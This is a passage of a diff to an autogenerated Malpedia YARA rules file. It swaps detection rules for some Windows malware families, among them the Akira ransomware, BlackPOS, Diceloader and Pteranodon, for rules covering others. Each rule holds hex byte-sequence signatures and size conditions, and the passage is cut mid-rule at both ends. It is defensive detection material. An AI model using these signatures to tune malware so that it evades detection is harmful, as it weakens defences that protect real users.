$sequence_1 = { e8???????? 8bf3 8d5c1b02 3b5d0c 7cb6 7526 8b450c } - $sequence_2 = { 8d8c24ac000000 8844241b e8???????? 85c0 743a 385c2417 7534 } - $sequence_3 = { c3 837c2404ff 750e 817c2408ffffff7f 7504 33c0 40 } - $sequence_4 = { c60060 e8???????? 6a5c 8bce c60064 e8???????? 68c5010000 } - $sequence_5 = { eb02 33c0 57 50 ff742418 ff742420 ff74241c } - $sequence_6 = { c3 56 8bf1 6a00 6a01 8d4e7c c706???????? } - $sequence_7 = { e9???????? e8???????? 8b00 50 e8???????? 83c404 50 } - $sequence_8 = { c6400d00 8908 eb06 8b4508 832000 e8???????? c20c00 } - $sequence_9 = { c1e108 034df0 8d4514 e8???????? 834dfcff 8d4514 50 } + $sequence_0 = { 6bd238 8b0c8d187b0410 88441129 8b0b 8bc1 c1f806 } + $sequence_1 = { 83c408 8bb5e8fdffff 8dbdd8fdffff 83bdecfdffff10 c745b000000000 0f43bdd8fdffff } + $sequence_2 = { 8bf3 6bf938 c1fe06 6a00 8b0cb5187b0410 ff740f24 } + $sequence_3 = { 894610 c7461407000000 668906 e9???????? 837f1410 8bcf 7202 } + $sequence_4 = { c785e4fbffff07000000 8d5102 668985d0fbffff 6690 668b01 83c102 6685c0 } + $sequence_5 = { 8d85e8e7ffff 68???????? 50 ff15???????? 83c410 8d8594e7ffff 50 } + $sequence_6 = { 0f1085b0fcffff 0f1100 8bc4 0f108590fcffff 51 0f1100 ff5228 } + $sequence_7 = { 83c408 8b95dcfeffff 83fa10 722f 8b8dc8feffff 42 8bc1 } + $sequence_8 = { 6a00 68???????? 6802000080 c785c8e7ffff3f000f00 ff15???????? 85c0 0f84ef000000 } + $sequence_9 = { 8d45f4 64a300000000 8965f0 8b4510 8b4d18 8b5d0c } condition: - 7 of them and filesize < 4702208 + 7 of them and filesize < 626688 } -rule MALPEDIA_Win_Gtpdoor_Auto : FILE +rule MALPEDIA_Win_Diceloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d10f6aa2-6be7-55e5-960c-d33fee6e5026" + id = "e4ad2ec4-b137-51c9-b85d-da5f37acfb45" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gtpdoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gtpdoor_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diceloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.diceloader_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "a4a736e9e4f2e881c8a24f738313b79d8075e540890609147499da030ceac3c8" + logic_hash = "1be6b9044c29cb995b59a77fc46c72f3850615efa951d1383ccf2030df818a85" score = 75 quality = 75 tags = "FILE" @@ -92018,32 +92175,32 @@ rule MALPEDIA_Win_Gtpdoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fb600 31d0 8801 8045fb01 8345fc01 } - $sequence_1 = { 0fb600 31d0 8801 8045fb01 } - $sequence_2 = { fc b932000000 b800000000 f3aa } - $sequence_3 = { 31d0 8801 8045fb01 8345fc01 } - $sequence_4 = { 4989c0 be04000000 e8???????? 0fb785acf9ffff 83c020 } - $sequence_5 = { 8b45cc 66895002 c7042400000000 e8???????? } - $sequence_6 = { 48833d????????00 4889e5 7416 b800000000 4885c0 740c bf???????? } - $sequence_7 = { 83e801 03450c 66c7000a20 c6400200 8b450c } - $sequence_8 = { 4929c4 49c1fc03 4d85e4 741e 31ed } - $sequence_9 = { c9 c3 55 89e5 83ec18 8b450c 8b5514 } + $sequence_0 = { 488bcb e8???????? 4c634518 488d4c2420 4c03c3 41ffd0 } + $sequence_1 = { ff15???????? 488bd7 488d0d14260000 e8???????? } + $sequence_2 = { 8b5710 4c8d054f250000 488b4f08 41b91f000000 e8???????? } + $sequence_3 = { 448b07 488d1569000000 8b5f04 488d0d4b1e0000 e8???????? 4885c0 7413 } + $sequence_4 = { 0fb6c2 8a13 48c1e804 488b44c430 488941f8 } + $sequence_5 = { ff15???????? 488b1e 4885db 7420 488b1b 498bd6 } + $sequence_6 = { 440f4fe8 48035d48 418bd5 488d4b30 e8???????? 418bd5 8945e0 } + $sequence_7 = { 488dac2450faffff 4881ecb0060000 4c8d3d7b250000 c705????????00000000 } + $sequence_8 = { 448b541620 8b5c1624 4c03d2 4803da 4533c9 458d7901 458b02 } + $sequence_9 = { 488bda 448bc1 488d1561ffffff 488d0d761d0000 e8???????? } condition: - 7 of them and filesize < 4210688 + 7 of them and filesize < 41984 } -rule MALPEDIA_Win_Xbot_Pos_Auto : FILE +rule MALPEDIA_Win_Pteranodon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "940e14dd-221d-5819-92eb-1310f719add8" + id = "72fb35bc-9b29-55b2-a918-b3f0192a8f01" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xbot_pos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xbot_pos_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pteranodon_auto.yar#L1-L175" license_url = "N/A" - logic_hash = "535bdd8a229ae04e062f9eb15912ae47549a3a824b333a9bb79944aa1215914b" + logic_hash = "563c856f09bd2595e0a91450a96a721d247fe131fa027b2937b641124422f09c" score = 75 quality = 75 tags = "FILE" @@ -92057,32 +92214,38 @@ rule MALPEDIA_Win_Xbot_Pos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c685d3fcffff00 c745fcffffffff 8d4dd0 e8???????? } - $sequence_1 = { 6bc230 03048de0465600 b901000000 c1e100 c644082a0a 807dff01 } - $sequence_2 = { eb0a c78558fcffff01000000 8a9558fcffff 88959ffdffff } - $sequence_3 = { 005f56 4d 005f56 4d 0026 56 4d } - $sequence_4 = { e8???????? c685bbfdffff01 c745fcffffffff 8d8da8feffff e8???????? 8a85bbfdffff 52 } - $sequence_5 = { 4c 005166 4c 004566 4c 007566 4c } - $sequence_6 = { 743e 83ec0c 8bc4 89a5ecfeffff 6a00 50 8d4d0c } - $sequence_7 = { 83e13f 6bd130 8b0485e0465600 0fb64c1028 83e140 740f } - $sequence_8 = { c68583f9ffff01 eb07 c68583f9ffff00 8a8d83f9ffff 888dcbfbffff 8b45e8 8a8dd7fbffff } - $sequence_9 = { e8???????? 83c404 83e03f 6bc830 030cb5e0465600 894de4 eb07 } + $sequence_0 = { 83f81d 7cf1 eb07 8b0cc584d70210 894de4 85c9 7455 } + $sequence_1 = { 8bcb e8???????? 83c41c 8d85a8f6ffff 50 6802020000 ff15???????? } + $sequence_2 = { 6a00 6a00 56 68???????? ff15???????? 56 e8???????? } + $sequence_3 = { 8b049de0874300 8b4de0 f644082801 7515 } + $sequence_4 = { ff5018 8b5dd0 83e800 7409 83e801 } + $sequence_5 = { e8???????? 68???????? 8d95a8f8ffff c645fc12 8d8d60f8ffff } + $sequence_6 = { 894df8 8b048de0874300 33c9 41 897df0 } + $sequence_7 = { eb0e 6a06 c74634789f4200 59 c6463c00 5f 894e38 } + $sequence_8 = { c785fcfeffff6f002e00 c78500ffffff72007500 e8???????? 6800010000 8bf8 } + $sequence_9 = { 83c408 83f8ff bbffffffff 0f455d08 eb06 8b4dec } + $sequence_10 = { c685d8f8ffff00 e8???????? 8d85d8f8ffff c645fc22 50 } + $sequence_11 = { e8???????? 8bc8 83c404 894de8 8b01 } + $sequence_12 = { 8b55ec 8d45d8 8b4dd8 83fa10 8b75d4 0f43c1 2bf0 } + $sequence_13 = { 663b88e0e60210 740d 83c002 83f814 72ef 33c0 40 } + $sequence_14 = { 6a06 6a01 6a02 8b00 } + $sequence_15 = { 68???????? 56 ff15???????? 68b0000000 8d853cffffff 6a00 50 } condition: - 7 of them and filesize < 3031040 + 7 of them and filesize < 499712 } -rule MALPEDIA_Win_Ramdo_Auto : FILE +rule MALPEDIA_Win_Blackpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e5dab1d9-452a-5887-a4af-58f6481f5f6c" + id = "a3030926-9034-5a42-987b-de9e78e9dde5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ramdo" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ramdo_auto.yar#L1-L105" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackpos_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "8755ec08f63d4c02872dc91cf7ac7496e98fc865f5e95d3244691dbde1a5dad8" + logic_hash = "c4a32b4f82fccb65e36ace8eee5711333479f2ae865afb2d6f3c995c606d80a9" score = 75 quality = 75 tags = "FILE" @@ -92096,32 +92259,32 @@ rule MALPEDIA_Win_Ramdo_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 68b3030442 6a00 6a00 e8???????? } - $sequence_1 = { 68bc882a42 6a03 6a00 e8???????? } - $sequence_2 = { 6894dac0dc 6a00 6a00 e8???????? } - $sequence_3 = { ff55f8 8945fc 837dfcff 7411 } - $sequence_4 = { 68dd786eac 6a03 6a00 e8???????? } - $sequence_5 = { 68c07b3072 6a03 6a00 e8???????? } - $sequence_6 = { 68b6b2cff5 6a03 6a00 e8???????? } - $sequence_7 = { 68b928ece1 6a03 6a00 e8???????? } - $sequence_8 = { 68b900308a 6a01 6a00 e8???????? } - $sequence_9 = { 68c29e34ea 6a03 6a00 e8???????? } + $sequence_0 = { 56 8d85d0fcffff 50 56 ff15???????? } + $sequence_1 = { 837e1400 0f8e94010000 83a5f8fffdff00 8b7e08 83661400 } + $sequence_2 = { 8d7de0 f3a5 a4 be00020000 } + $sequence_3 = { 8365bc00 8365c000 8945b4 8d45b4 50 } + $sequence_4 = { 53 50 889db8fcffff e8???????? 57 68???????? } + $sequence_5 = { f7f9 8b4dfc 5f 5e 5b 8bc2 } + $sequence_6 = { 8a843dfefffdff 3ac1 7211 3c3a } + $sequence_7 = { 803e00 7522 8d041f 6a01 8d8405e5fbffff 50 56 } + $sequence_8 = { 8bc8 83e01f c1f905 c1e006 03048d60c45800 eb02 8bc2 } + $sequence_9 = { 899dbcfaffff c785c0faffffa0bb0d00 c785c4faffff90854100 ffd7 8d85c4faffff 50 } condition: - 7 of them and filesize < 548864 + 7 of them and filesize < 3293184 } -rule MALPEDIA_Win_Milkmaid_Auto : FILE +rule MALPEDIA_Win_Akira_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7da20991-98e0-57dd-8b6d-3afa27d44835" + id = "9957fbe0-0809-5ea9-92e6-35285e3e151d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.milkmaid" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.milkmaid_auto.yar#L1-L106" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.akira" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.akira_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "7d1f7f5be2aa6e035c1f331c5b3df828eca6552df1209a5dbc69d5d2d3452b78" + logic_hash = "3bec6caf716d6a1efb83aa954ea803db62de6e65cc0a5401d25e2d0c788df4d4" score = 75 quality = 75 tags = "FILE" @@ -92135,30 +92298,32 @@ rule MALPEDIA_Win_Milkmaid_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4c2414 889c24dc280100 e8???????? 8d4c240c } - $sequence_1 = { 8d442408 57 50 e8???????? 83c404 33db 68???????? } - $sequence_2 = { 8d4c2408 e8???????? 68???????? 8d4c2408 e8???????? 8b442404 6a00 } - $sequence_3 = { 8a8528280100 81e1ff0f0000 33db 84c0 8a5c2918 895c2428 } - $sequence_4 = { 50 ff15???????? 8b74241c 8d4c2404 51 8bce } - $sequence_5 = { 8d4c240c c78424dc280100ffffffff e8???????? 33c0 8b8c24d4280100 5f } - $sequence_6 = { 8b4c240c 50 51 8d8c2480000000 c68424e428010003 e8???????? } - $sequence_7 = { 6a00 6a1a 6a00 ff15???????? 6aff 8d4c2408 } + $sequence_0 = { 0fb64718 8807 4863c1 48893cc2 e9???????? 0fb64718 8807 } + $sequence_1 = { 498d4f18 e8???????? 84c0 742d 498d5718 488d8f18030000 } + $sequence_2 = { 6642833c4000 75f5 488d559d 488d8de0080000 e8???????? 90 c645a700 } + $sequence_3 = { e9???????? 488d8a20140000 e9???????? 488d8a40140000 e9???????? } + $sequence_4 = { ffc3 48ffc0 4883f806 7cee 488bcf e8???????? 488b5c2450 } + $sequence_5 = { 4883c108 488b01 48c70100000000 4889442460 bb04000000 4885f6 744e } + $sequence_6 = { 0f8456ffffff eb05 4084f6 7407 41c60630 49ffc6 498bd4 } + $sequence_7 = { 488bda 4533ed 41f7411800400000 7528 410f1000 0f2945c0 4c8b11 } + $sequence_8 = { f00fc181a4000000 83f801 7506 e8???????? 90 488bc3 4883c420 } + $sequence_9 = { 48895110 4c8bc7 418bd6 e8???????? 4088341f e9???????? 488bc7 } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 1286144 } -rule MALPEDIA_Win_Ravenstealer_Auto : FILE +rule MALPEDIA_Win_Dnespy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "84f90220-3279-5007-a5a1-8ce5ade31449" + id = "99cbf088-6549-56a2-969b-60e6f7eba155" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ravenstealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ravenstealer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnespy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnespy_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "79823541f3a380244fa96c3e3bd68dec6432b3566c33a9fa586cf37babf2bf66" + logic_hash = "4e1c2bd2efe3fbaf06ba8ff5d9f3d8607a9e5d8c5f87336409321d599b08c5ad" score = 75 quality = 75 tags = "FILE" @@ -92171,33 +92336,33 @@ rule MALPEDIA_Win_Ravenstealer_Auto : FILE malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" - strings: - $sequence_0 = { 4c8b742430 4883c438 415f 415c 5f 5b c3 } - $sequence_1 = { f20f5cc8 f20f59ca f20f114c2440 e8???????? 440fbef0 e8???????? 0fbed8 } - $sequence_2 = { c744247809000000 eb58 448d3c37 0fbe05???????? 4103c7 0fbe0d???????? 33d2 } - $sequence_3 = { 8b5c2450 8b742454 3bc1 0f84bb130000 0fb605???????? 0fb605???????? 0fb605???????? } - $sequence_4 = { f20f59c8 f2440f2cf1 8b85e01f0000 83c04c f20f2ad0 0fb605???????? 0fbec8 } - $sequence_5 = { f2480f2ac0 f20f594590 f20f2cc0 89442428 8b442458 83e86a 660f6ed0 } - $sequence_6 = { e8???????? 488bf8 488d9424b0000000 488d8c2450090000 e8???????? 488b18 488d9424b8000000 } - $sequence_7 = { 85c0 7416 81a5fc030000fffeffff 488d8d28100000 e8???????? 4883c420 5d } - $sequence_8 = { 83f801 750a 488b07 488bcf ff5008 90 4d85f6 } - $sequence_9 = { 7406 6683f92f 7504 4883c002 483bd8 7442 0f1f8000000000 } + strings: + $sequence_0 = { 8b54240c a1???????? 89542414 81faff0f0000 762d 0f1f00 ff774c } + $sequence_1 = { 83f80a 0f85e6080000 834608fc 8b55dc 85d2 791b 8bc2 } + $sequence_2 = { 894618 837e0cff 7403 ff4e24 8bce e8???????? 8b4e0c } + $sequence_3 = { 83f9ff 7245 880a 0facc108 c1e808 884a01 0facc108 } + $sequence_4 = { 8975b4 c745b80f000000 c645a400 8d8de8feffff e8???????? 8b531c 83fa10 } + $sequence_5 = { 33c9 c645fc02 8b45e4 85c0 0f95c1 8d0c8d04000000 034d10 } + $sequence_6 = { e9???????? 6a00 57 53 ff762c 56 e8???????? } + $sequence_7 = { 3bc3 7304 8bc3 eb0b 3dffffff3f 0f87ca000000 } + $sequence_8 = { 8be8 8bc2 eb16 8b4618 53 ff761c } + $sequence_9 = { 6a20 c745e400000000 e8???????? 0f104588 8bc8 c745e400000000 8b45b0 } condition: - 7 of them and filesize < 8337408 + 7 of them and filesize < 794624 } -rule MALPEDIA_Win_Advisorsbot_Auto : FILE +rule MALPEDIA_Win_Zumanek_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "47285543-3eed-5a34-ac06-14b7c71920ba" + id = "87aee693-fd24-5045-ad68-bbf967fca577" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.advisorsbot_auto.yar#L1-L155" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zumanek_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "69dc9add5b159b8414559d7edfb0ea4fa61745cf82bdc631ece400efa0729506" + logic_hash = "692948458546aa7f1172f720f7a047815fbd39df276c694923c84a71f1135e40" score = 75 quality = 75 tags = "FILE" @@ -92211,39 +92376,32 @@ rule MALPEDIA_Win_Advisorsbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bc1 2bc2 d1e8 03c2 c1e808 } - $sequence_1 = { 8bc2 33d2 c1e809 f7f1 } - $sequence_2 = { 8bc2 33d2 c1e808 f7f1 } - $sequence_3 = { b89b01a311 f7e1 2bca d1e9 03ca } - $sequence_4 = { b80923ed58 f7e1 8bc1 2bc2 } - $sequence_5 = { d1e8 03c2 33d2 c1e809 } - $sequence_6 = { 8bc2 c1e809 33d2 f7f1 } - $sequence_7 = { d1e9 03ca c1e907 2bc1 } - $sequence_8 = { d1e9 03ca c1e909 33c8 } - $sequence_9 = { d1e9 03ca 33d2 c1e908 } - $sequence_10 = { 8b442408 8b4c2408 33d2 f7f1 } - $sequence_11 = { 8bc2 33d2 c1e804 f7f1 } - $sequence_12 = { 5e 5d 0fb7c1 5b } - $sequence_13 = { 8b442414 8b4c2414 33d2 f7f1 } - $sequence_14 = { 668b4c2410 5f 5e 5d } - $sequence_15 = { 0fb7c0 0fb7c9 33d2 f7f1 } - $sequence_16 = { 0fb7c1 0fb7ca 33d2 f7f1 } + $sequence_0 = { fc 81fe382e9330 97 e412 3dd16312c9 103f 0800 } + $sequence_1 = { 8802 98 811212242434 48 3c91 4a } + $sequence_2 = { 894612 4d 2454 48 5b 91 } + $sequence_3 = { 71ef 1a6f35 e30b 5d fc 77f2 f1 } + $sequence_4 = { 1dba45e22f 91 7c8b e459 0920 122424 } + $sequence_5 = { 386b95 4c 53 196a17 } + $sequence_6 = { 4a e8???????? 86b71986f742 06 58 4c 8812 } + $sequence_7 = { c101f6 53 32b879629b65 76a2 43 fc } + $sequence_8 = { d9c3 ab 5f c50f 9d 54 f233591b } + $sequence_9 = { 5a c59cd53a93a658 98 9f f5 6b80e7fa856bb2 55 } condition: - 7 of them and filesize < 434176 + 7 of them and filesize < 58867712 } -rule MALPEDIA_Win_Retro_Auto : FILE +rule MALPEDIA_Win_Lowkey_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d637dc20-27e8-52c5-9acd-7f862f01bb0c" + id = "3f77a0d8-5e74-59a7-b36b-5b8da053f1d8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.retro" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.retro_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lowkey_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "273926cf1373ebba7c2ee31df8ab1a96a84446d1d934a401daaeed8742274515" + logic_hash = "d5431f0409ef1f2ee256c5cdc4b5f0e543f06b3c2bf47f27531adb7ea173b9db" score = 75 quality = 75 tags = "FILE" @@ -92257,34 +92415,34 @@ rule MALPEDIA_Win_Retro_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f3ab 498bec 4585e4 0f8e59010000 488b442428 f2440f1005???????? 498db5fc070000 } - $sequence_1 = { 4c8b442460 ffc0 4883c108 4883c204 4983c320 4981c100240000 4981c220290000 } - $sequence_2 = { 488bd9 e8???????? 85c0 7409 8b430c 4883c420 5b } - $sequence_3 = { 488b4f18 4533c0 e8???????? 488b4f20 8981a0120000 488b4720 8b88ec120000 } - $sequence_4 = { 664585d2 7964 4983c102 ffce 7852 498b942430560000 418b8c2428560000 } - $sequence_5 = { f30f5cd9 f30f108814100000 f30f59c4 f30f59dc f30f114018 f30f119818100000 f30f105810 } - $sequence_6 = { 418bd5 488bcb 4869ff90140000 4903ff e8???????? 837b2401 750b } - $sequence_7 = { 0f14c0 450f14c0 0f5ac0 410f5ac8 f2410f58c2 f20f5ec8 f20f5ad1 } - $sequence_8 = { 83c364 83bfa000000000 740b 488bd6 488bcf e8???????? 4533c9 } - $sequence_9 = { f30f114f08 f30f104308 0f2f4708 768e ba01000000 eb89 f30f104304 } + $sequence_0 = { 4c8bf2 488d8d70010000 33d2 41b800020000 e8???????? } + $sequence_1 = { 83bb7004000002 0f848d010000 83cfff 488d2db7310100 83635000 83632c00 e9???????? } + $sequence_2 = { 498bc2 458bf1 48c1f806 488d0df41e0300 4183e23f 4d03f0 } + $sequence_3 = { 3b15???????? 7350 488bca 4c8d05c9230300 83e13f 488bc2 } + $sequence_4 = { 48898424d0000000 4533c0 488b4708 488bd5 48898424e0000000 } + $sequence_5 = { 488b0d???????? 488b5210 488b8900040000 ff15???????? 488b15???????? 4533c0 } + $sequence_6 = { 85c0 0f94c3 8bc3 488b4c2478 } + $sequence_7 = { 33d2 488bc8 ff15???????? 488d1556260200 } + $sequence_8 = { 488bcf e8???????? 488d4df7 e8???????? 488d155cfd0100 488d4df7 e8???????? } + $sequence_9 = { 488d15c10d0200 4533c0 48895c2420 488b01 ff5020 488b4c2450 4c8d4de8 } condition: - 7 of them and filesize < 1409024 + 7 of them and filesize < 643072 } -rule MALPEDIA_Win_Lookback_Auto : FILE +rule MALPEDIA_Win_Tidepool_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "85752543-778d-502f-a58c-a2ac64bb54fd" + id = "79b9a91d-2f80-54a4-850d-1eac43bf12cc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lookback" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lookback_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tidepool" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tidepool_auto.yar#L1-L262" license_url = "N/A" - logic_hash = "d58209e22f4f6576558a613c24f624b5020028fc2870f726763fd240be9135bc" + logic_hash = "a70dd848875168b4bad1ed7e445677eb0934ca243a590965d7d194a18350ca55" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -92296,32 +92454,51 @@ rule MALPEDIA_Win_Lookback_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b7c241c 33ed 8b473c 8b443878 03c7 8b5024 } - $sequence_1 = { 393d???????? 75af eb24 8b0d???????? } - $sequence_2 = { 8b542430 894308 8b442428 83c414 } - $sequence_3 = { 8b31 25ff0f0000 03c6 8bf7 } - $sequence_4 = { 8b7af8 83c228 03f8 8bc1 c1e902 f3a5 } - $sequence_5 = { 668b4b06 3be9 7cd0 5f 5e } - $sequence_6 = { 7422 6a00 8d4c2404 6a20 51 6a03 } - $sequence_7 = { ff15???????? 8d542400 52 e8???????? 33c0 81c408010000 } - $sequence_8 = { 5b 81c410070000 c3 55 8bec 51 53 } - $sequence_9 = { 3bef 741b 6800800000 57 } + $sequence_0 = { 5f 5e 5b 8b8d00030000 } + $sequence_1 = { 8b8d00030000 33cd e8???????? 81c504030000 } + $sequence_2 = { 6a00 50 8b08 ff91a4000000 } + $sequence_3 = { 8bc6 5e c20400 80790800 c701???????? 740e 8b4904 } + $sequence_4 = { 53 6a02 8bf1 e8???????? } + $sequence_5 = { 83c40c 803d????????37 7518 68???????? } + $sequence_6 = { 6800000040 8d4500 50 ff15???????? } + $sequence_7 = { 83e906 51 83c006 50 6a02 } + $sequence_8 = { 681f000200 56 68???????? 6801000080 } + $sequence_9 = { 5e 5f 5b c9 c3 ff25???????? 51 } + $sequence_10 = { e8???????? 68???????? 68???????? 68???????? 8d4500 } + $sequence_11 = { 75f9 b8???????? b900000400 c60000 40 49 } + $sequence_12 = { 8b08 ff91a4000000 8b4654 6a01 } + $sequence_13 = { 8d5658 52 50 ff91d0000000 } + $sequence_14 = { 6810270000 ff15???????? 8b45ec 8b08 } + $sequence_15 = { 7509 8b4654 50 8b08 ff5138 47 } + $sequence_16 = { 40 49 75f9 b8???????? b900000400 } + $sequence_17 = { 8d45ec 50 681f000200 53 68???????? } + $sequence_18 = { 56 8bf1 e8???????? 8b4654 6a00 } + $sequence_19 = { 6802020000 ff15???????? 68???????? ff15???????? 8bf8 } + $sequence_20 = { 2bca 33d2 85c9 894c2410 89542414 } + $sequence_21 = { 89442424 7e13 51 8d542428 } + $sequence_22 = { ff75ec ff15???????? 8b35???????? 6a04 } + $sequence_23 = { 53 50 ff75f8 ff75e4 ff75fc ff15???????? } + $sequence_24 = { 7504 802000 4b 57 } + $sequence_25 = { 59 ff15???????? 8b4df8 8945d8 8b45fc 8d840832010000 } + $sequence_26 = { 56 e8???????? 8b7d08 57 e8???????? d1e0 } + $sequence_27 = { 895dd4 895dac 895de0 885def 895de8 66ab } + $sequence_28 = { 3bf3 7e16 e8???????? 6a1a } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 1998848 } -rule MALPEDIA_Win_Winsloader_Auto : FILE +rule MALPEDIA_Win_Pebbledash_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "191c86a4-a63b-58ad-aa56-a92769922387" + id = "e5b2e91f-ba86-5aee-a150-1a0e9285e25b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winsloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winsloader_auto.yar#L1-L171" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pebbledash_auto.yar#L1-L181" license_url = "N/A" - logic_hash = "b2fd64965251990b571c8a72ebd9a6faa4e5fa165dfd7a3b0d129cdd9946e8f7" + logic_hash = "e36d4a9a300e40c4a3570c6f2230ff5d0e8e8c772444b2ae33bda786b301ae99" score = 75 quality = 75 tags = "FILE" @@ -92335,38 +92512,38 @@ rule MALPEDIA_Win_Winsloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c40c a4 ffd0 5b 5f } - $sequence_1 = { 83c434 85ff 7510 56 e8???????? 83c404 33c0 } - $sequence_2 = { 8d5c3304 e8???????? 8b0d???????? 8b15???????? 6689841dfcfbffff } - $sequence_3 = { b8???????? 83c40c 66c7843500fcfffff90b 8d4801 8d4900 } - $sequence_4 = { 75f9 2bc1 0fb6f8 888435fefbffff 8d4701 50 } - $sequence_5 = { 8d44020c 0fb6f9 66898435fefbffff 888c3500fcffff 8d4f01 51 8d943501fcffff } - $sequence_6 = { 50 e8???????? 68???????? 8d5c3304 } - $sequence_7 = { 83c40c 03f7 b8???????? 66c78435fcfbffff9001 8d4801 8a10 40 } - $sequence_8 = { 83c40c 6800040000 8d8dfcf7ffff 51 } - $sequence_9 = { 8d8dfcf7ffff e8???????? 85c0 7507 33c0 } - $sequence_10 = { 894df0 8b34cdb86a0110 8b4d08 6a5a 2bce 5b } - $sequence_11 = { 7466 40 68???????? 50 e8???????? 83c408 } - $sequence_12 = { 57 8db8b0c20110 57 ff15???????? ff0d???????? } - $sequence_13 = { 8b85f8f3ffff c68405fcfbffff0b 